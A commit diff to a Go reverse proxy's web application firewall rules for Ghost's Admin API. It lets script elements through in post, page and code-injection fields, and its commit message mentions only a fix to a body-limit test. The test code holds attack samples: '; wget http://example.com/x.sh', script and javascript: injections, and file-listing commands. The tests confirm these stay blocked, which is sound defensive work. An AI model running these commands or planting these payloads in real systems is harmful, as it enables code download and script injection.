rproxy test: send the body over its limit without Connection: close (closes #371)

visit's client sends Connection: close, and Go's server then closes the
connection after the 413 without reading the rest of the body. The
visitor, still sending, could see the reset before the answer. The test
now sends the request on its own connection without that header, so Go's
server reads the rest before it closes.

Model: opus-5-5

SPEC.md

@@ -1800,11 +1800,20 @@ Code injection skips these rules:
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
-`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
-articles and code injection (941110, 941170 and 941210). Path traversal and SQL
-injection are still refused in every field above. Script injection is too,
-outside the articles. `; wget http://example.com/x.sh` is still refused in the
-query fields, the plain text and the addresses.
+A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
+card can embed a widget and code injection can load analytics. These are the
+fields, on the Admin API:
+
+- `lexical`, `mobiledoc` and `html` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `value` of settings.
+
+`<script>alert(1)</script>` is still refused in snippets and newsletters.
+`javascript:alert(1)` is still refused in the articles and code injection
+(941170 and 941210). Path traversal and SQL injection are still refused in every
+field above. Script injection is too, outside the articles and code injection.
+`; wget http://example.com/x.sh` is still refused in the query fields, the plain
+text and the addresses.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name

internal/coreruleset/ghost.conf

@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
 #   snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
 #   reuse
 #   newsletters.<n>.footer_content, the footer of a newsletter
-# A <script> element (941110) and a javascript: link (941170, 941210) are still
-# refused in them.
+# A javascript: link (941170, 941210) is still refused in them. A <script>
+# element (941110) passes only in posts and pages, by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900355,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,7 +184,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
-# A <script> element and a javascript: link are still refused in them.
+# A javascript: link is still refused in them, and a <script> element passes
+# by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900356,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -200,6 +201,21 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
 
+# A <script> element skips 941110 in posts, pages and code injection, on the
+# Admin API, which refused:
+#   an HTML card that embeds a widget with its script
+#   code injection that loads analytics,
+#   <script defer src="https://analytics.example.com/script.js"></script>
+# These fields take a <script> element on purpose:
+#   posts.<n>.lexical, mobiledoc and html, and the same fields of pages
+#   posts.<n>.codeinjection_head and _foot, and the same fields of pages
+#   settings.<n>.value, the value of a setting
+# Snippets and a newsletter's footer still refuse it.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
+    "id:900366,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
+
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \

internal/coreruleset/ghost_test.go

@@ -143,10 +143,11 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
-// ghostArticleFields hold an article and skip the rules of 900355.
+// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
+// <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostArticleFields = []ghostField{
+var ghostPostFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
 	{
@@ -155,6 +156,13 @@ var ghostArticleFields = []ghostField{
 		`{"posts":[{"html":"VALUE"}]}`,
 	},
 	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
+}
+
+// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
+// footer, skip the rules of 900355, and still refuse a <script> element.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	{
 		http.MethodPost,
 		"/ghost/api/admin/snippets/",
@@ -167,8 +175,16 @@ var ghostArticleFields = []ghostField{
 	},
 }
 
-// ghostCodeFields hold code injection or a setting and skip the rules of
-// 900356.
+// ghostArticleFields hold an article and skip the rules of 900355.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostArticleFields = slices.Concat(
+	ghostPostFields,
+	ghostSnippetAndNewsletterFooterFields,
+)
+
+// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
+// and take a <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -335,11 +351,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
 }
 
-// ghostAttacks are an SQL injection, a path traversal and a script
-// injection, not escaped.
+// ghostWidget is an HTML card that embeds a widget with its script.
+const ghostWidget = `<div id="signup"></div>` +
+	`<script src="https://widgets.example.com/form.js" async></script>`
+
+// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
+const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
+	`"html":"<div id=\"signup\"></div><script ` +
+	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
+	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
+
+// ghostAnalytics is code injection that loads analytics.
+const ghostAnalytics = `<script defer ` +
+	`src="https://analytics.example.com/script.js"></script>`
+
+func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
+	t.Parallel()
+
+	// An HTML card in a post, as the editor saves it, and as integrations
+	// send it.
+	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
+
+	for _, f := range ghostPostFields {
+		wantGhostField(t, f, ghostWidget, false)
+	}
+
+	// Site code injection, saved in settings, and a post's or a page's own.
+	for _, f := range ghostCodeFields {
+		wantGhostField(t, f, ghostAnalytics, false)
+	}
+}
+
+// ghostAttacks are an SQL injection and a path traversal, not escaped.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal, scriptTag}
+var ghostAttacks = []string{injection, pathTraversal}
 
 // commandAfterASeparator is a shell command after a ";", not escaped.
 const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -358,6 +404,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		}
 	}
 
+	// A script injection stays refused in every field that does not take a
+	// <script> element.
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+		ghostSnippetAndNewsletterFooterFields) {
+		wantGhostField(t, f, scriptTag, true)
+	}
+
+	for _, target := range ghostQueryFields {
+		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
+	}
+
 	// A command after a separator stays refused wherever its rules do not
 	// misfire: in the query fields, the plain text and the addresses.
 	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
@@ -372,13 +429,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
-	// The articles and code injection carry HTML on purpose, but a script
-	// element and a javascript: link are still refused there.
+	// The articles and code injection carry HTML on purpose, but a
+	// javascript: link is still refused there, and a script element in
+	// snippets and a newsletter's footer.
 	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
-		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
 	}
 
+	for _, f := range ghostSnippetAndNewsletterFooterFields {
+		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
+	}
+
 	// An address keeps 932250, which refuses a listing of files.
 	for _, f := range ghostAddressFields {
 		wantGhostField(t, f, "ls -la /root", true)
@@ -459,6 +520,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 	}
 }
 
+func TestGhostScriptExclusionIsNarrow(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// A <script> element keeps 941110 off the Admin API, in fields that do
+	// not take one, and when the query has a field of the same name. 941100
+	// and 941160 refuse each request too, so the test looks for 941110
+	// itself.
+	const (
+		script           = `<script defer src=\"/script.js\"></script>`
+		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
+		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
+	)
+
+	for _, refused := range []struct{ target, body string }{
+		{"/ghost/api/content/posts/", scriptInPost},
+		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
+		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
+		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
+		{"/api/settings/", scriptInSettings},
+		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
+	} {
+		r := request{http.MethodPut, refused.target, []string{jsonBody}}
+
+		got, _ := inspectBody(t, crs, r, refused.body)
+		if got.Score < ghostThreshold ||
+			!slices.Contains(got.RuleIDs, 941110) {
+			t.Errorf(
+				"PUT %s %s: %+v, want 941110 among them",
+				refused.target,
+				refused.body,
+				got,
+			)
+		}
+	}
+}
+
 func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 

internal/rproxy/limits_test.go

@@ -93,10 +93,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 				},
 			)
 
-			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
-				bytes.NewReader(make([]byte, tc.size))))
-			if got.status != http.StatusRequestEntityTooLarge {
-				t.Errorf("answered %+v, want 413", got)
+			// The visitor sends no Connection: close, so Go's server reads the rest
+			// of the body before it closes the connection. Closed with the rest
+			// unread, the connection is reset while the visitor still sends.
+			conn := dial(t, addr)
+			send(t, conn, post+announcedLength(tc.size)+
+				strings.Repeat("x", tc.size))
+
+			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
+				t.Errorf("status %d, want 413", status)
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {